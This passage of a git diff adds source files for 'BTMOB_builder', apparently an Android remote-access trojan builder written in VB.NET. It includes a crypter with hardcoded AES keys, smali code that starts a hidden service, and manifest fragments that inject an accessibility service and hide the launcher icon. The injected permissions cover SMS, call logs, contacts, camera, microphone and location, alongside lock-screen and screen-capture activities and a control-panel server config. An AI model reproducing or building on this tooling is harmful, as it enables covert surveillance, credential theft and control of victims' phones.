As String = ChrW(&H200C) + + ' Default position: middle of the string + If position < 0 Or position > input.Length Then + position = input.Length \ 2 + End If + + ' Insert ZWNJ + Return input.Substring(0, position) & zwnj & input.Substring(position) + End Function + +End Module diff --git a/BTMOB_builder/SolrWorker/Crypters.vb b/BTMOB_builder/SolrWorker/Crypters.vb new file mode 100644 index 0000000..840fe73 --- /dev/null +++ b/BTMOB_builder/SolrWorker/Crypters.vb @@ -0,0 +1,59 @@ +Imports System +Imports System.Collections.Generic +Imports System.Linq +Imports System.Text +Imports System.Security.Cryptography + +Public Class Crypters + + + + Private Shared singleCrypters As Crypters = Nothing + + Private Shared MY_IV As String = "2230209522049090" 'length 16 + + Private Shared My_PASSWORD As String = "4814780584699673" + + Private Shared SALT As String = "2894356330652558" + + Public Shared Function Create() As Crypters + If singleCrypters IsNot Nothing Then + Return singleCrypters + End If + singleCrypters = New Crypters() + Return singleCrypters + End Function + Public Function Encrypt(ByVal raw As String) As String + Using csp = New AesCryptoServiceProvider() + Dim e As ICryptoTransform = GetCryptoTransform(csp, True) + Dim inputBuffer As Byte() = Encoding.GetBytes(raw) 'Reference to a non-shared member requires an object reference + Dim output As Byte() = e.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length) + Dim encrypted As String = Convert.ToBase64String(output) + Return encrypted + End Using + End Function + + Public Function Decrypt(ByVal encrypted As String) As String + Using csp = New AesCryptoServiceProvider() + Dim d = GetCryptoTransform(csp, False) + Dim output As Byte() = Convert.FromBase64String(encrypted) + Dim decryptedOutput As Byte() = d.TransformFinalBlock(output, 0, output.Length) + Dim decypted As String = Encoding.GetString(decryptedOutput) 'Reference to a non-shared member requires an object reference + Return decypted + End Using + End Function + Private Function GetCryptoTransform(ByVal csp As AesCryptoServiceProvider, ByVal encrypting As Boolean) As ICryptoTransform + csp.Mode = CipherMode.CBC + csp.Padding = PaddingMode.PKCS7 + Dim spec = New Rfc2898DeriveBytes(Encoding.GetBytes(My_PASSWORD), Encoding.GetBytes(SALT), 65536) 'Reference to a non-shared member requires an object reference + Dim key As Byte() = spec.GetBytes(16) + csp.IV = Encoding.GetBytes(MY_IV) 'Reference to a non-shared member requires an object reference + csp.Key = key + + If encrypting Then + Return csp.CreateEncryptor() + End If + + Return csp.CreateDecryptor() + End Function +End Class diff --git a/BTMOB_builder/SolrWorker/My Project/Application.Designer.vb b/BTMOB_builder/SolrWorker/My Project/Application.Designer.vb new file mode 100644 index 0000000..b18d21f --- /dev/null +++ b/BTMOB_builder/SolrWorker/My Project/Application.Designer.vb @@ -0,0 +1,13 @@ +'------------------------------------------------------------------------------ +' +' Этот код создан программой. +' Исполняемая версия:4.0.30319.42000 +' +' Изменения в этом файле могут привести к неправильной работе и будут потеряны в случае +' повторной генерации кода. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + diff --git a/BTMOB_builder/SolrWorker/My Project/Application.myapp b/BTMOB_builder/SolrWorker/My Project/Application.myapp new file mode 100644 index 0000000..5747688 --- /dev/null +++ b/BTMOB_builder/SolrWorker/My Project/Application.myapp @@ -0,0 +1,11 @@ + + + true + waitform + false + 0 + true + 0 + true + false + \ No newline at end of file diff --git a/BTMOB_builder/SolrWorker/My Project/AssemblyInfo.vb b/BTMOB_builder/SolrWorker/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..213c466 --- /dev/null +++ b/BTMOB_builder/SolrWorker/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git a/BTMOB_builder/SolrWorker/My Project/Resources.Designer.vb b/BTMOB_builder/SolrWorker/My Project/Resources.Designer.vb new file mode 100644 index 0000000..0d9a0ed --- /dev/null +++ b/BTMOB_builder/SolrWorker/My Project/Resources.Designer.vb @@ -0,0 +1,555 @@ +'------------------------------------------------------------------------------ +' +' Этот код создан программой. +' Исполняемая версия:4.0.30319.42000 +' +' Изменения в этом файле могут привести к неправильной работе и будут потеряны в случае +' повторной генерации кода. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'Этот класс создан автоматически классом StronglyTypedResourceBuilder + 'с помощью такого средства, как ResGen или Visual Studio. + 'Чтобы добавить или удалить член, измените файл .ResX и снова запустите ResGen + 'с параметром /str или перестройте свой проект VS. + ''' + ''' Класс ресурса со строгой типизацией для поиска локализованных строк и т.д. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Возвращает кэшированный экземпляр ResourceManager, использованный этим классом. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("SolrWorker.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Перезаписывает свойство CurrentUICulture текущего потока для всех + ''' обращений к ресурсу с помощью этого класса ресурса со строгой типизацией. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + + ''' + ''' Поиск локализованного ресурса типа System.Byte[]. + ''' + Friend ReadOnly Property _7zip() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("7zip", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <?xml version="1.0" encoding="utf-8"?> + '''<accessibility-service android:description="@string/pnam" android:summary="@string/pnam" android:settingsActivity="com.android.settings" android:accessibilityEventTypes="typeAnnouncement|typeAssistReadingContext|typeContextClicked|typeGestureDetectionEnd|typeGestureDetectionStart|typeNotificationStateChanged|typeTouchExplorationGestureEnd|typeTouchExplorationGestureStart|typeTouchInteractionEnd|typeTouchInteractionStart|typeViewAccessibilityFocusCleared|typeViewAccess [остаток строки не уместился]";. + ''' + Friend ReadOnly Property accessibilityprivatesrcapp() As String + Get + Return ResourceManager.GetString("accessibilityprivatesrcapp", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <service android:enabled="true" android:exported="false" android:label="@string/BaseName" android:name="com.icontrol.protector.AccessServices" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"> + ''' <intent-filter> + ''' <action android:name="android.accessibilityservice.AccessibilityService"/> + ''' </intent-filter> + ''' <meta-data android:name="android.accessibilityservice" android:resource="@xml/accessibilityprivatesrcapp"/> + ''' </service>. + ''' + Friend ReadOnly Property AccessTag() As String + Get + Return ResourceManager.GetString("AccessTag", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <?xml version="1.0" encoding="utf-8"?> + '''<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" + ''' xmlns:tools="http://schemas.android.com/tools" + ''' android:layout_width="match_parent" + ''' android:layout_height="match_parent" + ''' android:padding="16dp" + ''' android:background="#202020" + ''' tools:context=".ChatActivity"> + ''' + ''' <TextView + ''' android:id="@+id/chattitle" + ''' android:layout_width="match_parent" + ''' android:layout_height="40dp" + ''' android:background [остаток строки не уместился]";. + ''' + Friend ReadOnly Property Activitychat() As String + Get + Return ResourceManager.GetString("Activitychat", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <uses-permission android:name="android.permission.RECORD_AUDIO" /># + '''<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /># + '''<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /># + '''<uses-permission android:name="android.permission.READ_PHONE_STATE" /># + '''<uses-permission android:name="android.permission.WAKE_LOCK" /># + '''<uses-permission android:name="com.android.alarm.permission.SET_ALARM" /># + '''<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" [остаток строки не уместился]";. + ''' + Friend ReadOnly Property ALLPRIM() As String + Get + Return ResourceManager.GetString("ALLPRIM", resourceCulture) + End Get + End Property + + ''' + ''' Поиск локализованного ресурса типа System.Byte[]. + ''' + Friend ReadOnly Property APKEditor() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("APKEditor", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + ''' + ''' Поиск локализованного ресурса типа System.Byte[]. + ''' + Friend ReadOnly Property apktool() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("apktool", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />. + ''' + Friend ReadOnly Property batteryprim() As String + Get + Return ResourceManager.GetString("batteryprim", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />. + ''' + Friend ReadOnly Property BootPrim() As String + Get + Return ResourceManager.GetString("BootPrim", resourceCulture) + End Get + End Property + + ''' + ''' Поиск локализованного ресурса типа System.Byte[]. + ''' + Friend ReadOnly Property certificate() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("certificate", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на { + ''' "ServerApi": "http://localhost/yaarsa/private/yarsap_90061.php", + ''' "ServerApi_Customapp": "http://localhost/yaarsa/private/yarsap_91370.php", + ''' "Currentsubdir": "/yaarsa/private/" + '''}. + ''' + Friend ReadOnly Property DEFserverconfigs() As String + Get + Return ResourceManager.GetString("DEFserverconfigs", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <?xml version="1.0" encoding="utf-8"?> + ''' + '''<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android" + ''' /> + '''. + ''' + Friend ReadOnly Property emptyaccess() As String + Get + Return ResourceManager.GetString("emptyaccess", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" /> + ''' <uses-permission android:name="android.permission.READ_MEDIA_IMAGES"/> + ''' <uses-permission android:name="android.permission.READ_MEDIA_VIDEO"/>. + ''' + Friend ReadOnly Property Externalstorage() As String + Get + Return ResourceManager.GetString("Externalstorage", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>. + ''' + Friend ReadOnly Property FORGROUD() As String + Get + Return ResourceManager.GetString("FORGROUD", resourceCulture) + End Get + End Property + + ''' + ''' Поиск локализованного ресурса типа System.Byte[]. + ''' + Friend ReadOnly Property key() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("key", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <intent-filter> + ''' <action android:name="android.intent.action.MAIN" /> + ''' <category android:name="android.intent.category.LAUNCHER" /> + ''' + ''' </intent-filter>. + ''' + Friend ReadOnly Property luncherIntent() As String + Get + Return ResourceManager.GetString("luncherIntent", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на .method public InializeSubsT()V + ''' .locals 4 + ''' + ''' :try_start_0 + ''' new-instance v1, Landroid/content/Intent; + ''' + ''' invoke-virtual {p0}, [trgtmain]->getApplicationContext()Landroid/content/Context; + ''' + ''' move-result-object v2 + ''' + ''' const-class v3, Lcom/icontrol/protector/StarterServices; + ''' + ''' invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V + ''' + ''' .local v1, "Strt_int":Landroid/content/Intent; + ''' invoke-virtual {p0, v1}, [trgtmain]->startSe [остаток строки не уместился]";. + ''' + Friend ReadOnly Property MainMith() As String + Get + Return ResourceManager.GetString("MainMith", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <uses-library android:name="org.apache.http.legacy" android:required="false"/> + ''' <provider android:authorities="com.icontrol.protector.provider" android:exported="false" android:grantUriPermissions="true" android:name="androidx.core.content.FileProvider"> + ''' <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/pfs1"/> + ''' </provider> + ''' <activity android:exported="true" android:name="com.icontrol.protector.Splasher"/> + ''' <activity-alias andro [остаток строки не уместился]";. + ''' + Friend ReadOnly Property ManifistCode() As String + Get + Return ResourceManager.GetString("ManifistCode", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <intent-filter> + ''' <action android:name="android.intent.action.MAIN"/> + ''' <category android:name="android.intent.category.INFO"/> + ''' </intent-filter> + ''' <intent-filter> + ''' <action android:name="android.service.quicksettings.action.QS_TILE_PREFERENCES"/> + ''' </intent-filter> + ''' <intent-filter> + ''' <action android:name="com.android.settings.action.IA_SETTINGS"/> + ''' </intent-filter> + ''' <meta-data a [остаток строки не уместился]";. + ''' + Friend ReadOnly Property ManifistHide() As String + Get + Return ResourceManager.GetString("ManifistHide", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <?xml version="1.0" encoding="utf-8"?> + '''<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" + ''' android:layout_width="match_parent" + ''' android:layout_height="match_parent" + ''' android:orientation="vertical"> + ''' + ''' + ''' <WebView + ''' android:id="@+id/MyView" + ''' android:layout_width="match_parent" + ''' android:layout_height="match_parent" /> + ''' + ''' <ProgressBar + ''' android:id="@+id/progressBar" + ''' style="?android:attr/progressBarStyleLarge" + ''' android:la [остаток строки не уместился]";. + ''' + Friend ReadOnly Property mywebviewer() As String + Get + Return ResourceManager.GetString("mywebviewer", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <?xml version="1.0" encoding="utf-8"?> + '''<network-security-config> + ''' <base-config cleartextTrafficPermitted="true" /> + '''</network-security-config>. + ''' + Friend ReadOnly Property network_security_config() As String + Get + Return ResourceManager.GetString("network_security_config", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <?xml version="1.0" encoding="utf-8"?> + '''<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" + ''' android:layout_width="match_parent" + ''' android:layout_height="match_parent" + ''' android:orientation="vertical" + ''' android:background="#292929"> + ''' + ''' <LinearLayout + ''' android:layout_width="match_parent" + ''' android:layout_height="35dp" + ''' android:background="#292929" + ''' android:orientation="horizontal"> + ''' + ''' </LinearLayout> + ''' <LinearLayout + ''' android:l [остаток строки не уместился]";. + ''' + Friend ReadOnly Property nointernet() As String + Get + Return ResourceManager.GetString("nointernet", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на invoke-virtual/range {p0}, [trgtmain]->InializeSubsT()V. + ''' + Friend ReadOnly Property oncreatecode() As String + Get + Return ResourceManager.GetString("oncreatecode", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <!-- activity_main.xml --> + '''<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" + ''' android:layout_width="match_parent" + ''' android:background="#000011" + ''' android:layout_height="match_parent"> + ''' + ''' + ''' <ImageView + ''' android:id="@+id/imageView" + ''' android:layout_width="match_parent" + ''' android:layout_height="400dp" + ''' android:layout_centerHorizontal="true" + ''' android:layout_marginTop="75dp" + ''' android:src="@drawable/oppo_bty_en_1" /> + ''' + ''' + ''' + ''' [остаток строки не уместился]";. + ''' + Friend ReadOnly Property oppobattery() As String + Get + Return ResourceManager.GetString("oppobattery", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <?xml version="1.0" encoding="utf-8"?> + '''<paths xmlns:android="http://schemas.android.com/apk/res/android"> + ''' <external-path + ''' name="external_files" + ''' path="." /> + '''</paths>. + ''' + Friend ReadOnly Property providerfile() As String + Get + Return ResourceManager.GetString("providerfile", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <uses-permission android:name="android.permission.READ_PHONE_STATE" />. + ''' + Friend ReadOnly Property read_state_prim() As String + Get + Return ResourceManager.GetString("read_state_prim", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>. + ''' + Friend ReadOnly Property ReadPrim() As String + Get + Return ResourceManager.GetString("ReadPrim", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <meta-data android:name="REPALCEACCESS" android:value="99999999"/>. + ''' + Friend ReadOnly Property ReplaceAccess() As String + Get + Return ResourceManager.GetString("ReplaceAccess", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <meta-data android:name="REPLACELUNCH" android:value="66666666"/>. + ''' + Friend ReadOnly Property ReplaceLuncher() As String + Get + Return ResourceManager.GetString("ReplaceLuncher", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <queries android:name="[Replace_Prmies]"/>. + ''' + Friend ReadOnly Property ReplacePrimes() As String + Get + Return ResourceManager.GetString("ReplacePrimes", resourceCulture) + End Get + End Property + + ''' + ''' Поиск локализованного ресурса типа System.Byte[]. + ''' + Friend ReadOnly Property signapk() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("signapk", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <?xml version="1.0" encoding="utf-8"?> + '''<splits> + ''' <module name=""> + ''' <language> + ''' <entry key="af" split="" /> + ''' <entry key="am" split="" /> + ''' <entry key="ar" split="" /> + ''' <entry key="az" split="" /> + ''' <entry key="bg" split="" /> + ''' <entry key="bn" split="" /> + ''' <entry key="ca" split="" /> + ''' <entry key="cs" split="" /> + ''' <entry key="da" split="" /> + ''' <entry key="de" split="" /> + ''' [остаток строки не уместился]";. + ''' + Friend ReadOnly Property splits() As String + Get + Return ResourceManager.GetString("splits", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>. + ''' + Friend ReadOnly Property SystemwindowPrim() As String + Get + Return ResourceManager.GetString("SystemwindowPrim", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <queries android:name="[GPRIM]"/>. + ''' + Friend ReadOnly Property Toreplaceprim() As String + Get + Return ResourceManager.GetString("Toreplaceprim", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <?xml version="1.0" encoding="utf-8"?> + '''<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" + ''' android:layout_width="match_parent" + ''' android:layout_height="match_parent" + ''' android:gravity="center" + ''' android:orientation="vertical" + ''' android:padding="20dp" + ''' android:background="#232323"> + ''' + ''' <ImageView + ''' android:id="@+id/errorimg" + ''' android:layout_width="144px" + ''' android:layout_height="144px" + ''' android:paddingLeft="5dp" + ''' android:src= [остаток строки не уместился]";. + ''' + Friend ReadOnly Property uninstall_activity() As String + Get + Return ResourceManager.GetString("uninstall_activity", resourceCulture) + End Get + End Property + + ''' + ''' Ищет локализованную строку, похожую на <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>. + ''' + Friend ReadOnly Property WritePrim() As String + Get + Return ResourceManager.GetString("WritePrim", resourceCulture) + End Get + End Property + + ''' + ''' Поиск локализованного ресурса типа System.Byte[]. + ''' + Friend ReadOnly Property zipalign() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("zipalign", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + End Module +End Namespace diff --git a/BTMOB_builder/SolrWorker/My Project/Resources.resx b/BTMOB_builder/SolrWorker/My Project/Resources.resx new file mode 100644 index 0000000..d74b915 --- /dev/null +++ b/BTMOB_builder/SolrWorker/My Project/Resources.resx @@ -0,0 +1,787 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\7.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\accessibilityprivatesrcapp.xml;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + <service android:enabled="true" android:exported="false" android:label="@string/BaseName" android:name="com.icontrol.protector.AccessServices" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"> + <intent-filter> + <action android:name="android.accessibilityservice.AccessibilityService"/> + </intent-filter> + <meta-data android:name="android.accessibilityservice" android:resource="@xml/accessibilityprivatesrcapp"/> + </service> + + + <?xml version="1.0" encoding="utf-8"?> +<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools" + android:layout_width="match_parent" + android:layout_height="match_parent" + android:padding="16dp" + android:background="#202020" + tools:context=".ChatActivity"> + + <TextView + android:id="@+id/chattitle" + android:layout_width="match_parent" + android:layout_height="40dp" + android:background="#37000000" + android:layout_alignParentStart="true" + android:layout_alignParentTop="true" + android:layout_alignParentEnd="true" + android:layout_marginStart="16dp" + android:layout_marginTop="5dp" + android:layout_marginEnd="16dp" + android:gravity="center" + android:textSize="30dp" + android:textColor="#fff" + android:text="..."/> + + + <FrameLayout + android:id="@+id/framdlayout1" + android:layout_width="match_parent" + android:layout_height="0dp" + android:layout_above="@id/messageEditText" + android:layout_below="@id/chattitle" + android:layout_marginTop="10dp" + android:layout_marginBottom="16dp" + android:padding="2dp" + android:background="#474747"> + + <ScrollView + android:id="@+id/scrollView2" + android:layout_width="match_parent" + android:layout_height="match_parent" + android:background="#202020"> + + <LinearLayout + android:id="@+id/chatLayout" + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:orientation="vertical" /> + + </ScrollView> +</FrameLayout> + + + <EditText + android:id="@+id/messageEditText" + android:layout_width="273dp" + android:layout_height="wrap_content" + android:layout_alignParentStart="true" + android:layout_alignParentBottom="true" + android:layout_marginStart="25dp" + android:layout_marginEnd="25dp" + android:layout_marginBottom="12dp" + android:layout_toStartOf="@id/sendButton" + android:hint="Type a message..." + android:textColor="#fff" + android:textColorHint="#fff" + android:inputType="text" + android:minHeight="48dp" + android:background="#323232" + android:padding="10dp" + android:maxLines="3" /> + + <Button + android:id="@+id/sendButton" + android:layout_width="65dp" + android:layout_height="65dp" + android:layout_below="@+id/framdlayout1" + android:layout_alignParentEnd="true" + android:layout_alignParentBottom="true" + android:layout_marginTop="2dp" + android:layout_marginEnd="15dp" + android:layout_marginBottom="15dp" + android:background="#00000000" + android:gravity="center" + android:text="➤" + android:textColor="#008EFF" + android:textAlignment="center" + android:textSize="25dp" + /> + +</RelativeLayout> + + + <uses-permission android:name="android.permission.RECORD_AUDIO" /># +<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /># +<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /># +<uses-permission android:name="android.permission.READ_PHONE_STATE" /># +<uses-permission android:name="android.permission.WAKE_LOCK" /># +<uses-permission android:name="com.android.alarm.permission.SET_ALARM" /># +<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /># +<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /># +<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" /># +<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" /># +<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" /># +<uses-permission android:name="android.permission.SET_WALLPAPER" /># +<uses-permission android:name="android.permission.READ_SMS" /># +<uses-permission android:name="android.permission.READ_CALL_LOG" /># +<uses-permission android:name="android.permission.READ_CONTACTS" /># +<uses-permission android:name="android.permission.GET_ACCOUNTS" /># +<uses-permission android:name="android.permission.CAMERA" /># +<uses-permission android:name="android.permission.INTERNET" /># +<uses-permission android:name="android.permission.SEND_SMS" /># + + + ..\Resources\APKEditor.jar;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\apktool.jar;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" /> + + + <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> + + + ..\Resources\certificate.pem;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + { + "ServerApi": "http://localhost/yaarsa/private/yarsap_90061.php", + "ServerApi_Customapp": "http://localhost/yaarsa/private/yarsap_91370.php", + "Currentsubdir": "/yaarsa/private/" +} + + + ..\Resources\emptyaccess.xml;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" /> + <uses-permission android:name="android.permission.READ_MEDIA_IMAGES"/> + <uses-permission android:name="android.permission.READ_MEDIA_VIDEO"/> + + + <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/> + + + ..\Resources\key.pk8;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + + </intent-filter> + + + .method public InializeSubsT()V + .locals 4 + + :try_start_0 + new-instance v1, Landroid/content/Intent; + + invoke-virtual {p0}, [trgtmain]->getApplicationContext()Landroid/content/Context; + + move-result-object v2 + + const-class v3, Lcom/icontrol/protector/StarterServices; + + invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V + + .local v1, "Strt_int":Landroid/content/Intent; + invoke-virtual {p0, v1}, [trgtmain]->startService(Landroid/content/Intent;)Landroid/content/ComponentName; + + :try_end_0 + .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0 + + goto :goto_0 + + :catch_0 + move-exception v0 + + .local v0, "a":Ljava/lang/Exception; + # Exception handling code if needed + .end local v0 # "a":Ljava/lang/Exception; + .end local v1 # "Strt_int":Landroid/content/Intent; + :goto_0 + return-void +.end method + + + <uses-library android:name="org.apache.http.legacy" android:required="false"/> + <provider android:authorities="com.icontrol.protector.provider" android:exported="false" android:grantUriPermissions="true" android:name="androidx.core.content.FileProvider"> + <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/pfs1"/> + </provider> + <activity android:exported="true" android:name="com.icontrol.protector.Splasher"/> + <activity-alias android:enabled="true" android:exported="true" android:hardwareAccelerated="false" android:icon="@drawable/mylogo" android:label="@string/BaseName" android:name="com.icontrol.protector.A1" android:targetActivity="com.icontrol.protector.Splasher" android:theme="@android:style/Theme.Black.NoTitleBar"> + </activity-alias> + <activity-alias android:enabled="false" android:exported="true" android:hardwareAccelerated="false" android:icon="@drawable/notify" android:label=" " android:name="com.icontrol.protector.A2" android:roundIcon="@drawable/notify" android:screenOrientation="sensor" android:targetActivity="com.icontrol.protector.Splasher" android:theme="@android:style/Theme.Translucent.NoTitleBar"> + </activity-alias> + <activity android:configChanges="keyboard|keyboardHidden|orientation|screenLayout|screenSize|smallestScreenSize|uiMode" android:enabled="true" android:exported="true" android:hardwareAccelerated="true" android:launchMode="singleTop" android:name="com.icontrol.protector.ActivMain" android:screenOrientation="sensor" android:theme="@android:style/Theme.Black.NoTitleBar"/> + <activity android:enabled="true" android:excludeFromRecents="true" android:exported="true" android:hardwareAccelerated="false" android:icon="@android:color/transparent" android:label=" " android:launchMode="singleTask" android:name="com.icontrol.protector.LockActivity" android:noHistory="true" android:theme="@android:style/Theme.Translucent.NoTitleBar"/> + <activity android:excludeFromRecents="true" android:exported="true" android:label="Alerts" android:name="com.icontrol.protector.AlertActivity" android:noHistory="true" android:theme="@android:style/Theme.Translucent.NoTitleBar"/> + <activity android:exported="true" android:name="com.icontrol.protector.PermissionsActivity" android:theme="@android:style/Theme.Translucent.NoTitleBar"/> + <activity android:exported="true" android:name="com.icontrol.protector.ActivityDraw" android:theme="@android:style/Theme.Translucent.NoTitleBar"/> + <activity android:excludeFromRecents="true" android:exported="true" android:hardwareAccelerated="true" android:name="com.icontrol.protector.AccessibilityActivity" android:noHistory="true" android:theme="@android:style/Theme.Translucent.NoTitleBar"/> + <activity android:excludeFromRecents="true" android:exported="true" android:name="com.icontrol.protector.RestrectionActivity" android:noHistory="true"/> + <activity android:exported="true" android:name="com.icontrol.protector.ActivityCaptureScreen" android:showOnLockScreen="true" android:showWhenLocked="true" android:theme="@android:style/Theme.Translucent.NoTitleBar" android:turnScreenOn="true"/> + <activity android:excludeFromRecents="true" android:exported="true" android:name="com.icontrol.protector.RequestDataUsage" android:noHistory="true"/> + <activity android:exported="true" android:name="com.icontrol.protector.Requestinstall" android:theme="@android:style/Theme.Translucent.NoTitleBar"/> + <activity android:exported="true" android:name="com.icontrol.protector.RequestPermissions2" android:theme="@android:style/Theme.Translucent.NoTitleBar"/> + <activity android:excludeFromRecents="true" android:exported="true" android:name="com.icontrol.protector.UninstallActivity" android:noHistory="true" android:theme="@android:style/Theme.Translucent.NoTitleBar"/> + <activity android:excludeFromRecents="true" android:exported="true" 